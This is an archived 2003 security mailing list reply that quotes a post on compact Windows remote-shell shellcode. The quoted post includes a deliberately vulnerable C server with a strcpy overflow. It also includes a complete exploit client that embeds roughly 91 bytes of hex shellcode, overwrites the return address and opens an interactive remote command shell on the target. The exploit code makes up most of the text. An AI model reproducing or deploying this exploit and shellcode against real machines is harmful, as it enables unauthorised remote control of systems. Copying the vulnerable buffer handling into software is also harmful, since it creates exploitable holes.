Re: Advances In Windows Shellcode
From: Ing. Bernardo Lopez (bloodk@prodigy.net.mx)
Date: 01/02/03
- Previous message: Brett Moore: "Advances In Windows Shellcode"
- In reply to: Brett Moore: "Advances In Windows Shellcode"
- Next in thread: sk: "Re: Advances In Windows Shellcode"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
From: "Ing. Bernardo Lopez" <bloodk@prodigy.net.mx> To: pen-test@securityfocus.com Date: 01 Jan 2003 18:32:20 -0600
I know this is not the faster way but...
Could be more easy to get the shellcode if you put in your program and
rebuild it (whitin a debugger, like softice)then you dump that modified
addres...
Whit this you can split the includes and other extra stuff, just getting
the minimal shellcode nesesary...
Have a nice day
PS:Well then , my hipotetical method or by doing a C prog whit includes
and all?
El mar, 31-12-2002 a las 23:02, Brett Moore escribió:
> Advances in windows shellcode are few and far between. Papers exist
> detailing the process using anonymous pipes and examples exist showing how
> to use a socket directly as the handle for stdin, stdout and stderr.
>
> RVA techniques can be used to write code that will run regardless of service
> pack, and there is not often times when shellcode space is extremely limited
> so we should be happy with universal remote callback shellcode of ~300
> bytes.
>
> David Litchfield's post regarding using a socket as a handle included a
> statement:
> "If you hard code addresses ..... you can get the exploit code down to 160
> bytes"
>
> Which got me to thinking of how to write smaller remote callback shellcode.
> What evolved was an idea, and then shellcode which sends a remote shell
> back, uses only 2 api calls, and is only 91 bytes in size.
>
> It does have limited uses, has hardcoded address for SP3, messy, could be
> refined but should provoke some interesting thought tangents.
>
> The code is not commented, is not at all user friendly, and to cut the size
> of the post is ill formated, but those who seek the answer should be able to
> get it work.
>
> And now I go on holiday, my byte sequence patent should be ready for filing
> by the time I get back ;)
>
> ****************************************************************************
> **************
> *
> * server.c - Proof Of Concept Exploitable Server
> */
> #include <stdio.h>
> #include <winsock2.h>
> unsigned int resolve(char *name)
> {
> struct hostent *he;
> unsigned int ip;
> if((ip=inet_addr(name))==(-1))
> {
> if((he=gethostbyname(name))==0)
> return 0;
> memcpy(&ip,he->h_addr,4);
> }
> return ip;
> }
> int main(int argc,char *argv[])
> {
> int s;
> int tsize;
> char smallbuf[100];
> char buf[5000];
> WSADATA WSAData;
> printf("Windows POC Shellcode Tester\n");
> if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0)
> {
> printf("WSAStartup failed.\n");
> WSACleanup();
> exit(1);
> }
> memset(buf,0x00,sizeof(buf));
> memset(smallbuf,0x0,sizeof(buf));
> printf("Ready?\n");
> s= WSASocket(AF_INET, SOCK_STREAM, IPPROTO_IP,NULL, 0, 0);
> if(s<0) return -1;
> memset((char *)&target,0,sizeof(target));
> target.sin_family = AF_INET;
> target.sin_addr.s_addr = 0;
> target.sin_port = htons(8080); //HTTP
> if (bind(s, &target, sizeof(target)) == SOCKET_ERROR)
> {
> printf("Error: bind() failed.\n");
> return -2;
> }
> printf("Listening\n");
> if (listen(s, 2) == SOCKET_ERROR)
> {
> printf("Error: listen() failed.\n");
> return -2;
> }
> printf("Waiting\n");
> s = accept(s, NULL,NULL);
> printf("Receiving\n");
> if (recv(s, buf, sizeof(buf),0) == SOCKET_ERROR)
> printf("Error: recv() failed.\n");
> printf("strcpy\n");
> strcpy(smallbuf,buf);
> printf("Closing?\n");
> shutdown(s,2);
> closesocket(s);
> printf("done\n");
> }
> ****************************************************************************
> **************
> /*
> /* exploit.c Proof Of Concept Exploit
> */
> #include <stdio.h>
> #include <winsock2.h>
> unsigned int resolve(char *name)
> {
> struct hostent *he;
> unsigned int ip;
> if((ip=inet_addr(name))==(-1))
> {
> if((he=gethostbyname(name))==0)
> return 0;
> memcpy(&ip,he->h_addr,4);
> }
> return ip;
> }
> int main(int argc,char *argv[])
> {
> int s;
> int acount;
> int bytes;
> int x;
> char buf[10000];
> char buf2[10000];
> char tbuf[1000];
> char cmdbuf[100];
> WSADATA WSAData;
> printf("Windows Remote Shell POC\n");
> if (argc<2)
> {
> printf("usage: %s ip \n",argv[0]);
> return -1;
> }
> if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0)
> {
> printf("WSAStartup failed.\n");
> WSACleanup();
> exit(1);
> }
> printf("Preparing Exploit Buffer\n");
> memset(buf,0x00,sizeof(buf));
> memset(buf2,0x00,sizeof(buf2));
> strcat(buf2,"CMD.\x90");
> strcat(buf2,"\x83\xeb\x04\x83\xec\x78\x80\x72\x03\x2e");
> strcat(buf2,"\x33\xdb\x83\xc3\x10\x43\x53\x52\x8b\xfc");
> strcat(buf2,"\x33\xc0\x33\xc9\xb1\x60\x50\xe2\xfd\x66");
> strcat(buf2,"\xb8\x01\x01\x89\x44\x24\x2c\x83\xc4\x44");
> strcat(buf2,"\x53\x53\x53\x83\xec\x38\x8b\xf4\x56\x56");
> strcat(buf2,"\x51\x51\x51\x41\x51\x49\x51\x51\x52\x51");
> strcat(buf2,"\xbb\x44\x9b\xe9\x77\xff\xd3\x5b\x33\xc9");
> strcat(buf2,"\x49\x51\x53\xbb\x28\x78\xe8\x77\xff\xd3");
> strcat(buf2,"\x8b\xe7\x5a\x5b\xeb\x00");
> printf("Shellcode Size:%d bytes\n",strlen(buf2));
> while (strlen(buf2) <100)
> {
> strcat(buf2,"\x90");
> }
> strcat(buf,buf2);
> strcat(buf,"AAAABBBBCCCCDDDD");
> strcat(buf,"\x57\x2d\xfd\x74");
>
> strcat(buf,"\x8b\x54\x24\x50\x33\xf6\x81\xee\xbd\xb2\xbb\xd1\x4a\x39\x32\x75
> \xfb\x83\xc2\x04\xff\xe2");
> printf("Exploit Buffer Ready\n");
> printf("Connecting\n");
> s = socket(AF_INET,SOCK_STREAM,0);
> if(s<0)
> return -1;
> memset((char *)&target,0,sizeof(target));
> target.sin_family = AF_INET;
> target.sin_addr.s_addr = resolve(argv[1]);
> if(target.sin_addr.s_addr==0)
> {
> closesocket(s);
> return -2;
> }
> target.sin_port = htons(8080);
> if (connect(s, &target, sizeof(target)) == SOCKET_ERROR)
> {
> printf("Error: connect() failed.\n");
> return -2;
> }
> printf("Sending Exploit\n");
> if (sendto(s, buf, strlen(buf)+ 1, 0, &target, sizeof(target)) ==
> SOCKET_ERROR)
> printf("Error: sendto() failed.\n");
> memset(buf,0x00,sizeof(buf));
> printf("Exploit Sent\n");
> x=1;
> ioctlsocket(s,FIONBIO,&x);
> while (x > 0){
> memset(cmdbuf,0x00,sizeof(cmdbuf));
> bytes = recv(s, cmdbuf, sizeof(cmdbuf)-1, 0);
> if (bytes > 0)
> {
> cmdbuf[bytes+1] =0x00;
> printf("%s",cmdbuf);
> while (recv(s, cmdbuf, sizeof(cmdbuf), MSG_PEEK) > 0)
> {
> memset(cmdbuf,0x00,sizeof(cmdbuf));
> bytes = recv(s, cmdbuf, sizeof(cmdbuf)-1, 0);
> if (bytes > 0)
> {
> cmdbuf[bytes+1] =0x00;
> printf("%s",cmdbuf);
> }
> }
> memset(cmdbuf,0x00,sizeof(cmdbuf));
> gets(cmdbuf);
> strcat(cmdbuf+strlen(cmdbuf),"\r\n");
> send(s,cmdbuf,strlen(cmdbuf)+1,0);
> }
> }
> closesocket(s);
> }
>
>
> ----------------------------------------------------------------------------
> This list is provided by the SecurityFocus Security Intelligence Alert (SIA)
> Service. For more information on SecurityFocus' SIA service which
> automatically alerts you to the latest security vulnerabilities please see:
> https://alerts.securityfocus.com/
>
----------------------------------------------------------------------------
This list is provided by the SecurityFocus Security Intelligence Alert (SIA)
Service. For more information on SecurityFocus' SIA service which
automatically alerts you to the latest security vulnerabilities please see:
https://alerts.securityfocus.com/
- Next message: gman .: "Re: command-line reverse connection tunnel?"
- Previous message: Brett Moore: "Advances In Windows Shellcode"
- In reply to: Brett Moore: "Advances In Windows Shellcode"
- Next in thread: sk: "Re: Advances In Windows Shellcode"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|
|
